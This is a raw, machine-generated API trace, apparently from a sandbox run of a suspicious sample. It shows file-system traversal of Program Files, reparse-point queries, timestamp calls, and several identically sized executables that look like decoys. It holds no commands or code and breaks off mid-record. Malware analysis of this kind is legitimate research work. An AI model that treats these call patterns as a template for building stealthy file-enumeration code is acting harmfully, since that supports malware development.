0x2e8f80 [0070.464] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.464] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0070.464] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0070.464] GetLastError () returned 0x12 [0070.464] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0070.464] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0070.464] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.464] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0070.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22410 [0070.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22e60 [0070.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0070.466] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0070.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa27480 [0070.466] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa27480, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xa27480, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0070.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa27480) returned 1 [0070.466] NtClose (Handle=0x124) returned 0x0 [0070.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa22e60) returned 1 [0070.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22e60 [0070.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22f68 [0070.467] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0070.467] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.467] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0070.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa23070 [0070.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0070.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20730 [0070.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa23178 [0070.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.467] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="")) returned 1 [0070.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20750 [0070.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa23280 [0070.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.468] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="")) returned 0 [0070.468] GetLastError () returned 0x12 [0070.468] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0070.468] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0070.468] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.468] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0070.468] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="")) returned 1 [0070.468] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="")) returned 0 [0070.468] GetLastError () returned 0x12 [0070.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa22f68) returned 1 [0070.468] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0070.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa23070) returned 1 [0070.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa22e60) returned 1 [0070.468] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0070.468] GetLastError () returned 0x12 [0070.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa22518) returned 1 [0070.468] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0070.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa22410) returned 1 [0070.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa22308) returned 1 [0070.469] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="")) returned 0 [0070.469] GetLastError () returned 0x12 [0070.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa257c8) returned 1 [0070.469] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0070.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0070.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0070.469] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0070.469] GetLastError () returned 0x12 [0070.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25630) returned 1 [0070.469] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0070.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa255a8) returned 1 [0070.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.469] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a4310, ftCreationTime.dwHighDateTime=0x1d5594b, ftLastAccessTime.dwLowDateTime=0xa8e2ceb0, ftLastAccessTime.dwHighDateTime=0x1d56a72, ftLastWriteTime.dwLowDateTime=0xa8e2ceb0, ftLastWriteTime.dwHighDateTime=0x1d56a72, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="edcsvr.exe", cAlternateFileName="")) returned 1 [0070.469] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a93a70, ftCreationTime.dwHighDateTime=0x1d580f6, ftLastAccessTime.dwLowDateTime=0x28b14490, ftLastAccessTime.dwHighDateTime=0x1d5888d, ftLastWriteTime.dwLowDateTime=0x28b14490, ftLastWriteTime.dwHighDateTime=0x1d5888d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mxslipstream.exe", cAlternateFileName="")) returned 1 [0070.469] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a93a70, ftCreationTime.dwHighDateTime=0x1d580f6, ftLastAccessTime.dwLowDateTime=0x28b14490, ftLastAccessTime.dwHighDateTime=0x1d5888d, ftLastWriteTime.dwLowDateTime=0x28b14490, ftLastWriteTime.dwHighDateTime=0x1d5888d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mxslipstream.exe", cAlternateFileName="")) returned 0 [0070.469] GetLastError () returned 0x12 [0070.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0070.469] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0070.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0070.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0070.470] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="")) returned 1 [0070.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0070.470] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office" (normalized: "c:\\program files\\microsoft office"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0070.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office" (normalized: "c:\\program files\\microsoft office"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0070.470] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0070.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa27480 [0070.470] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa27480, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0xa27480, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0070.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa27480) returned 1 [0070.470] NtClose (Handle=0x164) returned 0x0 [0070.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0070.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0070.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0070.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0070.470] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0070.471] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.471] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0070.471] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 14", cAlternateFileName="")) returned 1 [0070.471] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f03d7b0, ftCreationTime.dwHighDateTime=0x1d5928f, ftLastAccessTime.dwLowDateTime=0x978e1a90, ftLastAccessTime.dwHighDateTime=0x1d575c4, ftLastWriteTime.dwLowDateTime=0x978e1a90, ftLastWriteTime.dwHighDateTime=0x1d575c4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmailnotifierpro.exe", cAlternateFileName="")) returned 1 [0070.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.471] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eab6d90, ftCreationTime.dwHighDateTime=0x1d552be, ftLastAccessTime.dwLowDateTime=0xd83a18a0, ftLastAccessTime.dwHighDateTime=0x1d5512a, ftLastWriteTime.dwLowDateTime=0xd83a18a0, ftLastWriteTime.dwHighDateTime=0x1d5512a, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hide-mesa.exe", cAlternateFileName="")) returned 1 [0070.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.471] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de78ca0, ftCreationTime.dwHighDateTime=0x1d53fa4, ftLastAccessTime.dwLowDateTime=0x7d2ef7a0, ftLastAccessTime.dwHighDateTime=0x1d58d39, ftLastWriteTime.dwLowDateTime=0x7d2ef7a0, ftLastWriteTime.dwHighDateTime=0x1d58d39, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="icq.exe", cAlternateFileName="")) returned 1 [0070.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0070.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, 